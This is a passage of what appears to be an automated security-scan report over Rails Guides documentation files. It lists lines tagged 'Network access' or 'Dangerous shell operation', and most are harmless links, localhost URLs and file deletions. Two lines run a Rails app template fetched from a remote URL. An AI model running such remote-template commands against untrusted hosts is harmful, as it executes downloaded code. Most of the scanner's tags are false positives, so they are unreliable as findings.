    Rails also provides helpers to render select boxes for individual date and time components: [`select_year`](https://api.rubyonrails.org/classes/ActionView/Helpers/DateHelper.html#method-i-select_year), [`select_month`](https://api.rubyonrai
  • Network accessline 675
    When you need to ask users what time zone they are in, there is a very convenient [`time_zone_select`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormBuilder.html#method-i-time_zone_select) helper to use.
  • Network accessline 677
    Typically, you would have to provide a list of time zone options for users to select from. This can get tedious if not for the list of pre-defined [`ActiveSupport::TimeZone`](https://api.rubyonrails.org/classes/ActiveSupport/TimeZone.html) 
  • Network accessline 745
    To generate a select box, we can use [`collection_select`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormBuilder.html#method-i-collection_select):
  • Network accessline 765
    To generate a set of radio buttons, we can use [`collection_radio_buttons`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormBuilder.html#method-i-collection_radio_buttons):
  • Network accessline 786
    To generate a set of check boxes — for example, to support a `has_and_belongs_to_many` association — we can use [`collection_checkboxes`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormBuilder.html#method-i-collection_checkboxes
  • Network accessline 811
    A common task with forms is allowing users to upload a file. It could be an avatar image or a CSV file with data to process. File upload fields can be rendered with the [`file_field`](https://api.rubyonrails.org/classes/ActionView/Helpers/F
  • Network accessline 839
    When using `file_field`, the object in the `params` hash is an instance of [`ActionDispatch::Http::UploadedFile`](https://api.rubyonrails.org/classes/ActionDispatch/Http/UploadedFile.html). Here is an example of how to save data in an uploa
  • Network accessline 864
    We call the objects yielded by `form_with` or `fields_for` Form Builders. Form builders allow you to generate form elements associated with a model object and are an instance of [`ActionView::Helpers::FormBuilder`](https://api.rubyonrails.o
  • Network accessline 866
    [`ActionView::Helpers::FormBuilder`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormBuilder.html). This class can be extended to add custom helpers for your application.
  • Network accessline 1041
    Let's say you want to render a form with a set of fields for each of a person's addresses. The [`fields_for`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormHelper.html#method-i-fields_for) helper with its `:index` option can as
  • Network accessline 1042
    addresses. The [`fields_for`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormHelper.html#method-i-fields_for) helper with its `:index` option can assist:
  • Network accessline 1092
    You can find more details about `fields_for` index option in the [API docs](https://api.rubyonrails.org/classes/ActionView/Helpers/FormHelper.html#method-i-fields_for).
  • Network accessline 1101
    For editing an associated record for a given model (`Person` in this case), Active Record provides model level support via the [`accepts_nested_attributes_for`](https://api.rubyonrails.org/classes/ActiveRecord/NestedAttributes/ClassMethods.
  • Network accessline 1308
    [Credential-related source omitted]
  • Network accessline 1316
    [Credential-related source omitted]
  • Network accessline 1324
    In case you need to render form fields outside of the context of a form builder, Rails provides tag helpers for common form elements. For example, [`checkbox_tag`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormTagHelper.html#me
  • Network accessline 1336
    Generally, these helpers have the same name as their form builder counterparts plus a `_tag` suffix.  For a complete list, see the [`FormTagHelper` API documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/FormTagHelper.html
  • Network accessline 1341
    Before `form_with` was introduced in Rails 5.1 its functionality was split between [`form_tag`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormTagHelper.html#method-i-form_tag) and [`form_for`](https://api.rubyonrails.org/classe

packages/autoskills/skills-registry/rails-guides/references/generators.md

  • Network accessline 1
    **DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
  • Network accessline 47
    Generators are built on top of [Thor](https://github.com/rails/thor), which
  • Network accessline 103
    [`Rails::Generators::Base`]: https://api.rubyonrails.org/classes/Rails/Generators/Base.html
  • Network accessline 104
    [`Thor::Actions`]: https://www.rubydoc.info/gems/thor/Thor/Actions
  • Network accessline 105
    [`create_file`]: https://www.rubydoc.info/gems/thor/Thor/Actions#create_file-instance_method
  • Network accessline 106
    [`desc`]: https://www.rubydoc.info/gems/thor/Thor#desc-class_method
  • Dangerous shell operationline 115
    $ rm lib/generators/initializer_generator.rb
  • Network accessline 186
    [`Rails::Generators::NamedBase`]: https://api.rubyonrails.org/classes/Rails/Generators/NamedBase.html
  • Network accessline 187
    [`copy_file`]: https://www.rubydoc.info/gems/thor/Thor/Actions#copy_file-instance_method
  • Network accessline 188
    [`source_root`]: https://api.rubyonrails.org/classes/Rails/Generators/Base.html#method-c-source_root
  • Network accessline 216
    [`class_option`]: https://www.rubydoc.info/gems/thor/Thor/Base/ClassMethods#class_option-instance_method
  • Network accessline 217
    [`options`]: https://www.rubydoc.info/gems/thor/Thor/Base#options-instance_method
  • Network accessline 271
    [scaffold controller template]: https://github.com/rails/rails/blob/main/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb.tt
  • Network accessline 272
    [scaffold view templates]: https://github.com/rails/rails/tree/main/railties/lib/rails/generators/erb/scaffold/templates
  • Network accessline 377
    [`config.generators`]: configuring.html#configuring-generators [`hook_for`]: https://api.rubyonrails.org/classes/Rails/Generators/Base.html#method-c-hook_for
  • Network accessline 378
    [`hook_for`]: https://api.rubyonrails.org/classes/Rails/Generators/Base.html#method-c-hook_for
  • Network accessline 506
    $ rails new blog -m https://example.com/template.rb
  • Network accessline 507
    $ bin/rails app:template LOCATION=https://example.com/template.rb
  • Network accessline 513
    `rails_command` and also adds user interactivity with methods like `yes?`. All of these methods are part of the [Rails Template API](https://edgeapi.rubyonrails.org/classes/Rails/Generators/Actions.html). The
  • Network accessline 514
    of these methods are part of the [Rails Template API](https://edgeapi.rubyonrails.org/classes/Rails/Generators/Actions.html). The following sections shows how to use more of these methods with examples.
  • Network accessline 515
    API](https://edgeapi.rubyonrails.org/classes/Rails/Generators/Actions.html). The
  • Network accessline 521
    Generators and the template Ruby scripts have access to several helper methods using a [DSL](https://en.wikipedia.org/wiki/Domain-specific_language) (Domain
  • Network accessline 522
    using a [DSL](https://en.wikipedia.org/wiki/Domain-specific_language) (Domain
  • Network accessline 551
    add_source "https://rubygems.org"
  • Network accessline 554
    If a block is given, gem entries in the block are wrapped into the source group. For example, if you need to source a gem from `"http://gems.github.com"`:
  • Network accessline 555
    For example, if you need to source a gem from `"http://gems.github.com"`:
  • Network accessline 558
    add_source "http://gems.github.com/" do
  • Network accessline 589
    environment 'config.action_mailer.default_url_options = {host: "http://yourwebsite.example.com"}', env: "production"
  • Dangerous shell operationline 716
    run "rm README.rdoc"
  • Network accessline 751
    such as [`copy_file`][], [`create_file`][], [`insert_into_file`][], and [`inside`][]. You can see the [Thor API documentation](https://www.rubydoc.info/gems/thor/Thor/Actions) for details.
  • Network accessline 752
    [`inside`][]. You can see the [Thor API documentation](https://www.rubydoc.info/gems/thor/Thor/Actions) for details. Here is an example of one such method:
  • Network accessline 753
    documentation](https://www.rubydoc.info/gems/thor/Thor/Actions) for details.
  • Network accessline 768
    There are also methods that allow you to interact with the user from the Ruby template, such as [`ask`][], [`yes`][], and [`no`][]. You can learn about all user interactivity methods in the [Thor Shell documentation](https://www.rubydoc.inf
  • Network accessline 814
    [`Rails::Generators::Actions`]: https://api.rubyonrails.org/classes/Rails/Generators/Actions.html
  • Network accessline 815
    [`environment`]: https://api.rubyonrails.org/classes/Rails/Generators/Actions.html#method-i-environment
  • Network accessline 816
    [`gem`]: https://api.rubyonrails.org/classes/Rails/Generators/Actions.html#method-i-gem
  • Network accessline 817
    [`generate`]: https://api.rubyonrails.org/classes/Rails/Generators/Actions.html#method-i-generate
  • Network accessline 818
    [`git`]: https://api.rubyonrails.org/classes/Rails/Generators/Actions.html#method-i-git
  • Network accessline 819
    [`gsub_file`]: https://www.rubydoc.info/gems/thor/Thor/Actions#gsub_file-instance_method
  • Network accessline 820
    [`initializer`]: https://api.rubyonrails.org/classes/Rails/Generators/Actions.html#method-i-initializer
  • Network accessline 821
    [`insert_into_file`]: https://www.rubydoc.info/gems/thor/Thor/Actions#insert_into_file-instance_method
  • Network accessline 822
    [`inside`]: https://www.rubydoc.info/gems/thor/Thor/Actions#inside-instance_method
  • Network accessline 823
    [`lib`]: https://api.rubyonrails.org/classes/Rails/Generators/Actions.html#method-i-lib
  • Network accessline 824
    [`rails_command`]: https://api.rubyonrails.org/classes/Rails/Generators/Actions.html#method-i-rails_command
  • Network accessline 825
    [`rake`]: https://api.rubyonrails.org/classes/Rails/Generators/Actions.html#method-i-rake
  • Network accessline 826
    [`route`]: https://api.rubyonrails.org/classes/Rails/Generators/Actions.html#method-i-route
  • Network accessline 827
    [`Rails::Generators::Testing::Behavior`]: https://api.rubyonrails.org/classes/Rails/Generators/Testing/Behavior.html
  • Network accessline 828
    [`run_generator`]: https://api.rubyonrails.org/classes/Rails/Generators/Testing/Behavior.html#method-i-run_generator
  • Network accessline 829
    [`Rails::Generators::Testing::Assertions`]: https://api.rubyonrails.org/classes/Rails/Generators/Testing/Assertions.html
  • Network accessline 830
    [`add_source`]: https://api.rubyonrails.org/classes/Rails/Generators/Actions.html#method-i-add_source
  • Network accessline 831
    [`after_bundle`]: https://api.rubyonrails.org/classes/Rails/Generators/AppGenerator.html#method-i-after_bundle
  • Network accessline 832
    [`gem_group`]: https://api.rubyonrails.org/classes/Rails/Generators/Actions.html#method-i-gem_group
  • Network accessline 833
    [`vendor`]: https://api.rubyonrails.org/classes/Rails/Generators/Actions.html#method-i-vendor
  • Network accessline 834
    [`rakefile`]: https://api.rubyonrails.org/classes/Rails/Generators/Actions.html#method-i-rakefile
  • Network accessline 835
    [`run`]: https://www.rubydoc.info/gems/thor/Thor/Actions#run-instance_method
  • Network accessline 836
    [`copy_file`]: https://www.rubydoc.info/gems/thor/Thor/Actions#copy_file-instance_method
  • Network accessline 837
    [`create_file`]: https://www.rubydoc.info/gems/thor/Thor/Actions#create_file-instance_method
  • Network accessline 838
    [`ask`]: https://www.rubydoc.info/gems/thor/Thor/Shell/Basic#ask-instance_method
  • Network accessline 839
    [`yes`]: https://www.rubydoc.info/gems/thor/Thor/Shell/Basic#yes%3F-instance_method
  • Network accessline 840
    [`no`]: https://www.rubydoc.info/gems/thor/Thor/Shell/Basic#no%3F-instance_method

packages/autoskills/skills-registry/rails-guides/references/getting_started.md

  • Network accessline 1
    **DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
  • Network accessline 31
    - [Official Ruby Programming Language website](https://www.ruby-lang.org/en/documentation/)
  • Network accessline 32
    - [List of Free Programming Books](https://github.com/EbookFoundation/free-programming-books/blob/main/books/free-programming-books-langs.md#ruby)
  • Network accessline 125
    |bin/|Contains the `rails` script that starts your app and can contain other scripts you use to set up, update, deploy, or run your application.| |config/|Contains configuration for your application's routes, database, and more. This is cov
  • Network accessline 126
    |config/|Contains configuration for your application's routes, database, and more. This is covered in more detail in [Configuring Rails Applications](configuring.html).| |config.ru|[Rack](https://rack.github.io) configuration for Rack-based
  • Network accessline 127
    |config.ru|[Rack](https://rack.github.io) configuration for Rack-based servers used to start the application.|
  • Network accessline 128
    |db/|Contains your current database schema, as well as the database migrations.| |Dockerfile|Configuration file for Docker.| |Gemfile<br>Gemfile.lock|These files allow you to specify what gem dependencies are needed for your Rails applicati
  • Network accessline 129
    |Dockerfile|Configuration file for Docker.| |Gemfile<br>Gemfile.lock|These files allow you to specify what gem dependencies are needed for your Rails application. These files are used by the [Bundler](https://bundler.io) gem.| |lib/|Extende
  • Network accessline 130
    |Gemfile<br>Gemfile.lock|These files allow you to specify what gem dependencies are needed for your Rails application. These files are used by the [Bundler](https://bundler.io) gem.|
  • Network accessline 134
    |Rakefile|This file locates and loads tasks that can be run from the command line. The task definitions are defined throughout the components of Rails. Rather than changing `Rakefile`, you should add your own tasks by adding files to the `l
  • Network accessline 135
    |README.md|This is a brief instruction manual for your application. You should edit this file to tell others what your application does, how to set it up, and so on.| |script/|Contains one-off or general purpose [scripts](https://github.com
  • Network accessline 136
    |script/|Contains one-off or general purpose [scripts](https://github.com/rails/rails/blob/main/railties/lib/rails/generators/rails/script/USAGE) and [benchmarks](https://github.com/rails/rails/blob/main/railties/lib/rails/generators/rails/
  • Network accessline 140
    |vendor/|A place for all third-party code. In a typical Rails application this includes vendored gems.| |.dockerignore|This file tells Docker which files it should not copy into the container.| |.gitattributes|This file defines metadata for
  • Network accessline 141
    |.dockerignore|This file tells Docker which files it should not copy into the container.| |.gitattributes|This file defines metadata for specific paths in a Git repository. This metadata can be used by Git and other tools to enhance their b
  • Network accessline 142
    |.gitattributes|This file defines metadata for specific paths in a Git repository. This metadata can be used by Git and other tools to enhance their behavior. See the [gitattributes documentation](https://git-scm.com/docs/gitattributes) for
  • Network accessline 143
    |.git/|Contains Git repository files.| |.github/|Contains GitHub specific files.| |.gitignore|This file tells Git which files (or patterns) it should ignore. See [GitHub - Ignoring files](https://help.github.com/articles/ignoring-files) for
  • Network accessline 144
    |.github/|Contains GitHub specific files.| |.gitignore|This file tells Git which files (or patterns) it should ignore. See [GitHub - Ignoring files](https://help.github.com/articles/ignoring-files) for more information about ignoring files.
  • Network accessline 145
    |.gitignore|This file tells Git which files (or patterns) it should ignore. See [GitHub - Ignoring files](https://help.github.com/articles/ignoring-files) for more information about ignoring files.|
  • Network accessline 199
    *  Environment: development *          PID: 12345 * Listening on http://127.0.0.1:3000
  • Network accessline 200
    *          PID: 12345 * Listening on http://127.0.0.1:3000 * Listening on http://[::1]:3000
  • Network accessline 201
    * Listening on http://127.0.0.1:3000
  • Network accessline 202
    * Listening on http://[::1]:3000
  • Network accessline 206
    To see your Rails application, open http://localhost:3000 in your browser. You
  • Network accessline 679
    In terms of implementation: Routes are rules written in a Ruby [DSL (Domain-Specific Language)](https://en.wikipedia.org/wiki/Domain-specific_language).
  • Network accessline 680
    [DSL (Domain-Specific Language)](https://en.wikipedia.org/wiki/Domain-specific_language).
  • Network accessline 699
    https://example.org/products?sale=true&sort=asc
  • Network accessline 946
    Let's see this in our browser. First, run `bin/rails server` in your terminal to start the Rails server. Then open http://localhost:3000 and you will see the
  • Network accessline 947
    start the Rails server. Then open http://localhost:3000 and you will see the
  • Network accessline 950
    If we open http://localhost:3000/products in the browser, Rails will render the
  • Network accessline 971
    Now when you visit http://localhost:3000, Rails will render Products#index.
  • Network accessline 997
    ERB is short for [Embedded Ruby](https://docs.ruby-lang.org/en/master/ERB.html)
  • Network accessline 1003
    Now refresh http://localhost:3000/ in your browser and you'll see that the
  • Network accessline 1127
    * `products_path` generates `"/products"` * `products_url` generates `"http://localhost:3000/products"`
  • Network accessline 1128
    * `products_url` generates `"http://localhost:3000/products"`
  • Network accessline 1130
    * `product_url(1)` generates `"http://localhost:3000/products/1"`
  • Network accessline 1642
    Try it out by visiting http://localhost:3000/products/new
  • Network accessline 1711
    Click the Log out button and you'll see the New link is hidden. Log in at http://localhost:3000/session/new and you'll see the New link on the index page.
  • Network accessline 1712
    http://localhost:3000/session/new and you'll see the New link on the index page.
  • Network accessline 1999
    * Visit http://localhost:3000/products?locale=en, you will see the English
  • Network accessline 2000
    translation. * Visit http://localhost:3000/products?locale=es, you will see the Spanish   translation.
  • Network accessline 2001
    * Visit http://localhost:3000/products?locale=es, you will see the Spanish
  • Network accessline 2002
    translation. * Visit http://localhost:3000/products without a locale param, it will fallback   to English.
  • Network accessline 2003
    * Visit http://localhost:3000/products without a locale param, it will fallback
  • Network accessline 2217
    The [flash](https://api.rubyonrails.org/classes/ActionDispatch/Flash.html)
  • Network accessline 2379
    T-Shirt is back in stock. http://localhost:3000/products/1
  • Network accessline 2380
    http://localhost:3000/products/1
  • Network accessline 2400
    <p><a href="http://localhost:3000/products/1">T-Shirt</a> is back in stock.</p>
  • Network accessline 2729
    1. [**Turbo**](https://turbo.hotwired.dev/) handles navigation, form
  • Network accessline 2730
    submissions, page components, and updates without writing any custom    JavaScript. 2. [**Stimulus**](https://stimulus.hotwired.dev/) provides a framework for when
  • Network accessline 2731
    JavaScript. 2. [**Stimulus**](https://stimulus.hotwired.dev/) provides a framework for when    you need custom JavaScript to add functionality to the page.
  • Network accessline 2732
    2. [**Stimulus**](https://stimulus.hotwired.dev/) provides a framework for when
  • Network accessline 2733
    you need custom JavaScript to add functionality to the page. 3. [**Native**](https://native.hotwired.dev/) allows you to make hybrid mobile    apps by embedding your web app and progressively enhancing it with native
  • Network accessline 2734
    3. [**Native**](https://native.hotwired.dev/) allows you to make hybrid mobile
  • Network accessline 3062
    To learn more about the DSL, read the documentation for [ActiveSupport::ContinuousIntegration](https://www.rubydoc.info/github/rails/rails/main/ActiveSupport/ContinuousIntegration).
  • Network accessline 3069
    Rails comes with a deployment tool called [Kamal](https://kamal-deploy.org) that
  • Network accessline 3074
    to build the Docker image, creating a containerized version of your application with all its dependencies and configurations. This Dockerfile uses [Thruster](https://github.com/basecamp/thruster) to compress and serve assets
  • Network accessline 3075
    with all its dependencies and configurations. This Dockerfile uses [Thruster](https://github.com/basecamp/thruster) to compress and serve assets efficiently in production.
  • Network accessline 3076
    [Thruster](https://github.com/basecamp/thruster) to compress and serve assets
  • Network accessline 3083
    regular security and bug fixes. Hetzner, DigitalOcean, and other hosting   services provide servers to get started. - A [Docker Hub](https://hub.docker.com) account and access token. Docker Hub
  • Network accessline 3084
    services provide servers to get started. - A [Docker Hub](https://hub.docker.com) account and access token. Docker Hub   stores the image of the application so it can be downloaded and run on the
  • Network accessline 3085
    - A [Docker Hub](https://hub.docker.com) account and access token. Docker Hub
  • Network accessline 3089
    On Docker Hub, [create a Repository](https://hub.docker.com/repository/create)
  • Network accessline 3126
    [Create an access token](https://app.docker.com/settings/personal-access-tokens/create)

packages/autoskills/skills-registry/rails-guides/references/i18n.md

  • Network accessline 1
    **DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
  • Network accessline 33
    NOTE: The Ruby I18n framework provides you with all necessary means for internationalization/localization of your Rails application. You may also use various gems available to add additional functionality or features. See the [rails-i18n ge
  • Network accessline 106
    This means, that in the `:en` locale, the key _hello_ will map to the _Hello world_ string. Every string inside Rails is internationalized in this way, see for instance Active Model validation messages in the [`activemodel/lib/active_model/
  • Network accessline 110
    NOTE: The i18n library takes a **pragmatic approach** to locale keys (after [some discussion](https://groups.google.com/g/rails-i18n/c/FN7eLH2-lHA)), including only the _locale_ ("language") part, like `:en`, `:pl`, not the _region_ part, l
  • Network accessline 159
    This example illustrates this using a URL query parameter to set the locale (e.g. `http://example.com/books?locale=pt`). With this approach, `http://localhost:3000?locale=pt` renders the Portuguese localization, while `http://localhost:3000
  • Network accessline 197
    # Get locale code from request subdomain (like http://it.application.local:3000)
  • Network accessline 216
    assuming you would set `APP_CONFIG[:deutsch_website_url]` to some value like `http://www.application.de`.
  • Network accessline 228
    Rails contains infrastructure for "centralizing dynamic decisions about the URLs" in its [`ApplicationController#default_url_options`](https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Base.html#method-i-default_url_options)
  • Network accessline 239
    Every helper method dependent on `url_for` (e.g. helpers for named routes like `root_path` or `root_url`, resource routes like `books_path` or `books_url`, etc.) will now **automatically include the locale in the query string**, like this: 
  • Network accessline 243
    You probably want URLs to look like this: `http://www.example.com/en/books` (which loads the English locale) and `http://www.example.com/nl/books` (which loads the Dutch locale). This is achievable with the "over-riding `default_url_options
  • Network accessline 252
    Now, when you call the `books_path` method you should get `"/en/books"` (for the default locale). A URL like `http://localhost:3001/nl/books` should load the Dutch locale, then, and following calls to `books_path` should return `"/nl/books"
  • Network accessline 265
    With this approach you will not get a `Routing Error` when accessing your resources such as `http://localhost:3001/books` without a locale. This is useful for when you want to use the default locale when one is not specified.
  • Network accessline 267
    Of course, you need to take special care of the root URL (usually "homepage" or "dashboard") of your application. A URL like `http://localhost:3001/nl` will not work automatically, because the `root to: "dashboard#index"` declaration in you
  • Network accessline 278
    NOTE: Have a look at a gem which simplifies working with routes: [route_translator](https://github.com/enriclluelles/route_translator).
  • Network accessline 299
    The `Accept-Language` HTTP header indicates the preferred language for request's response. Browsers [set this header value based on the user's language preference settings](https://www.w3.org/International/questions/qa-lang-priorities), mak
  • Network accessline 318
    In practice, more robust code is necessary to do this reliably. Iain Hecker's [http_accept_language](https://github.com/iain/http_accept_language/tree/master) library or Ryan Tomayko's [locale](https://github.com/rack/rack-contrib/blob/main
  • Network accessline 322
    The IP address of the client making the request can be used to infer the client's region and thus their locale. Services such as [GeoLite2 Country](https://dev.maxmind.com/geoip/geolite2-free-geolocation-data) or gems like [geocoder](https:
  • Network accessline 328
    WARNING: You may be tempted to store the chosen locale in a _session_ or a *cookie*. However, **do not do this**. The locale should be transparent and a part of the URL. This way you won't break people's basic assumptions about the web itse
  • Network accessline 422
    If the locale is set via the URL to the pirate locale (`http://localhost:3000?locale=pirate`), the response renders the pirate strings:
  • Network accessline 546
    TIP: Right now you might need to add some more date/time formats in order to make the I18n backend work as expected (at least for the 'pirate' locale). Of course, there's a great chance that somebody already did all the work by **translatin
  • Network accessline 599
    These chapters will show examples using both the `I18n.translate` method as well as the [`translate` view helper method](https://api.rubyonrails.org/classes/ActionView/Helpers/TranslationHelper.html#method-i-translate) (noting the additiona
  • Network accessline 737
    In many languages — including English — there are only two forms, a singular and a plural, for a given string, e.g. "1 message" and "2 messages". Other languages ([Arabic](http://www.unicode.org/cldr/charts/latest/supplemental/language_plur
  • Network accessline 738
    a given string, e.g. "1 message" and "2 messages". Other languages ([Arabic](http://www.unicode.org/cldr/charts/latest/supplemental/language_plural_rules.html#ar), [Japanese](http://www.unicode.org/cldr/charts/latest/supplemental/language_p
  • Network accessline 785
    Alternatively, the separate gem [rails-i18n](https://github.com/svenfuchs/rails-i18n) can be used to provide a fuller set of locale-specific pluralization rules.
  • Network accessline 1048
    * `distance_of_time_in_words` translates and pluralizes its result and interpolates the number of seconds, minutes, hours, and so on. See [datetime.distance_in_words](https://github.com/rails/rails/blob/main/actionview/lib/action_view/local
  • Network accessline 1050
    * `datetime_select` and `select_month` use translated month names for populating the resulting select tag. See [date.month_names](https://github.com/rails/rails/blob/main/activesupport/lib/active_support/locale/en.yml#L15) for translations.
  • Network accessline 1052
    * The `number_to_currency`, `number_with_precision`, `number_to_percentage`, `number_with_delimiter`, and `number_to_human_size` helpers use the number format settings located in the [number](https://github.com/rails/rails/blob/main/actives
  • Network accessline 1056
    * `model_name.human` and `human_attribute_name` use translations for model names and attribute names if available in the [activerecord.models](https://github.com/rails/rails/blob/main/activerecord/lib/active_record/locale/en.yml#L36) scope.
  • Network accessline 1060
    * `ActiveModel::Error#full_message` and `ActiveModel::Errors#full_messages` prepend the attribute name to the error message using a format looked up from `errors.format` (default: [`"%{attribute} %{message}"`](https://github.com/rails/rails
  • Network accessline 1066
    * `Array#to_sentence` uses format settings as given in the [support.array](https://github.com/rails/rails/blob/main/activesupport/lib/active_support/locale/en.yml#L33) scope.
  • Network accessline 1183
    * [Mobility](https://github.com/shioyama/mobility): Provides support for storing translations in many formats, including translation tables, JSON columns (PostgreSQL), etc.
  • Network accessline 1184
    * [Traco](https://github.com/barsoom/traco): Translatable columns stored in the model table itself
  • Network accessline 1197
    Thus we encourage everybody to experiment with new ideas and features in gems or other libraries and make them available to the community. (Don't forget to announce your work on our [mailing list](https://groups.google.com/forum/#!forum/rai
  • Network accessline 1199
    If you find your own locale (language) missing from our [example translations data](https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale) repository for Ruby on Rails, please [_fork_](https://github.com/guides/fork-a-project-and
  • Network accessline 1205
    * [GitHub: rails-i18n](https://github.com/svenfuchs/rails-i18n) - Code repository and issue tracker for the rails-i18n project. Most importantly you can find lots of [example translations](https://github.com/svenfuchs/rails-i18n/tree/master
  • Network accessline 1206
    * [GitHub: i18n](https://github.com/ruby-i18n/i18n) - Code repository and issue tracker for the i18n gem.
  • Network accessline 1212
    * [Sven Fuchs](http://svenfuchs.com) (initial author)
  • Network accessline 1213
    * [Karel Minařík](http://www.karmi.cz)
  • Network accessline 1218
    [^1]: Or, to quote [Wikipedia](https://en.wikipedia.org/wiki/Internationalization_and_localization): _"Internationalization is the process of designing a software application so that it can be adapted to various languages and regions withou

packages/autoskills/skills-registry/rails-guides/references/initialization.md

  • Network accessline 1
    **DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
  • Network accessline 26
    TIP: If you want to follow along while browsing the Rails [source code](https://github.com/rails/rails), we recommend that you use the `t`
  • Network accessline 27
    code](https://github.com/rails/rails), we recommend that you use the `t`
  • Dangerous shell operationline 455
    eval(builder_script, binding, path)

packages/autoskills/skills-registry/rails-guides/references/layouts_and_rendering.md

  • Network accessline 1
    **DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
  • Network accessline 33
    [controller.render]: https://api.rubyonrails.org/classes/ActionController/Rendering.html#method-i-render
  • Network accessline 34
    [`redirect_to`]: https://api.rubyonrails.org/classes/ActionController/Redirecting.html#method-i-redirect_to
  • Network accessline 35
    [`head`]: https://api.rubyonrails.org/classes/ActionController/Head.html#method-i-head
  • Network accessline 104
    NOTE: The actual rendering is done by nested classes of the module [`ActionView::Template::Handlers`](https://api.rubyonrails.org/classes/ActionView/Template/Handlers.html). This guide does not dig into that process, but it's important to k
  • Network accessline 286
    Rails can render objects that respond to `#render_in`. You can provide the object as the first positional argument or provide it as the `:renderable` option to `render`. The object must also define a `#format` method that returns a valid [M
  • Network accessline 476
    Instead of setting the variant on the render call you may also set [`request.variant`](https://api.rubyonrails.org/classes/ActionDispatch/Http/MimeNegotiation.html#method-i-variant-3D)
  • Network accessline 477
    [`request.variant`](https://api.rubyonrails.org/classes/ActionDispatch/Http/MimeNegotiation.html#method-i-variant-3D)
  • Network accessline 527
    [`layout`]: https://api.rubyonrails.org/classes/ActionView/Layouts/ClassMethods.html#method-i-layout
  • Network accessline 724
    [`redirect_back`]: https://api.rubyonrails.org/classes/ActionController/Redirecting.html#method-i-redirect_back
  • Network accessline 850
    [`content_for`]: https://api.rubyonrails.org/classes/ActionView/Helpers/CaptureHelper.html#method-i-content_for
  • Network accessline 867
    [`auto_discovery_link_tag`]: https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-auto_discovery_link_tag
  • Network accessline 868
    [`javascript_include_tag`]: https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-javascript_include_tag
  • Network accessline 869
    [`stylesheet_link_tag`]: https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-stylesheet_link_tag
  • Network accessline 870
    [`image_tag`]: https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-image_tag
  • Network accessline 871
    [`video_tag`]: https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-video_tag
  • Network accessline 872
    [`audio_tag`]: https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-audio_tag
  • Network accessline 923
    To include `http://example.com/main.js`:
  • Network accessline 926
    <%= javascript_include_tag "http://example.com/main.js" %>
  • Network accessline 953
    To include `http://example.com/main.css`:
  • Network accessline 956
    <%= stylesheet_link_tag "http://example.com/main.css" %>
  • Network accessline 1148
    [view.render]: https://api.rubyonrails.org/classes/ActionView/Helpers/RenderingHelper.html#method-i-render

packages/autoskills/skills-registry/rails-guides/references/plugins.md

  • Network accessline 1
    **DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
  • Network accessline 32
    At a technical level, a plugin is a Ruby gem that’s designed to work inside a Rails application. It often uses a [Railtie](https://api.rubyonrails.org/classes/Rails/Railtie.html) to hook into the
  • Network accessline 33
    Rails application. It often uses a [Railtie](https://api.rubyonrails.org/classes/Rails/Railtie.html) to hook into the Rails boot process, allowing it to extend or modify the framework's behavior in
  • Network accessline 34
    [Railtie](https://api.rubyonrails.org/classes/Rails/Railtie.html) to hook into the
  • Network accessline 53
    Rails plugins are built as gems. They can be shared across different Rails applications using [RubyGems](https://guides.rubygems.org/make-your-own-gem/)
  • Network accessline 54
    applications using [RubyGems](https://guides.rubygems.org/make-your-own-gem/)
  • Network accessline 55
    and [Bundler](https://bundler.io/guides/creating_gem.html) if desired.
  • Network accessline 184
    spec.homepage    = "http://example.com"
  • Network accessline 190
    spec.metadata["source_code_uri"] = "http://example.com"
  • Network accessline 191
    spec.metadata["changelog_uri"] = "http://example.com"
  • Network accessline 225
    This section will explain how to add a method to [Integer](https://docs.ruby-lang.org/en/master/Integer.html) that will be
  • Network accessline 226
    [Integer](https://docs.ruby-lang.org/en/master/Integer.html) that will be
  • Network accessline 242
    more details on why core class extensions can be problematic, see [The Case Against Monkey Patching](https://shopify.engineering/the-case-against-monkey-patching).
  • Network accessline 243
    Against Monkey Patching](https://shopify.engineering/the-case-against-monkey-patching). <br></br> That said, understanding how core class extensions work is valuable.
  • Network accessline 244
    Patching](https://shopify.engineering/the-case-against-monkey-patching).
  • Network accessline 349
    class methods when the module is included. For more details, see the [ActiveSupport::Concern API documentation](https://api.rubyonrails.org/classes/ActiveSupport/Concern.html).
  • Network accessline 351
    documentation](https://api.rubyonrails.org/classes/ActiveSupport/Concern.html).
  • Network accessline 455
    The plugin we've built so far works great for basic functionality. However, if the plugin needs to integrate more deeply with Rails' framework, you'll want to use a [Railtie](https://api.rubyonrails.org/classes/Rails/Railtie.html).
  • Network accessline 457
    use a [Railtie](https://api.rubyonrails.org/classes/Rails/Railtie.html).
  • Network accessline 741
    gem "api_boost", git: "https://github.com/YOUR_GITHUB_HANDLE/api_boost.git"
  • Network accessline 747
    When the gem is ready to be shared as a formal release, it can be published to [RubyGems](https://rubygems.org).
  • Network accessline 748
    [RubyGems](https://rubygems.org).
  • Network accessline 766
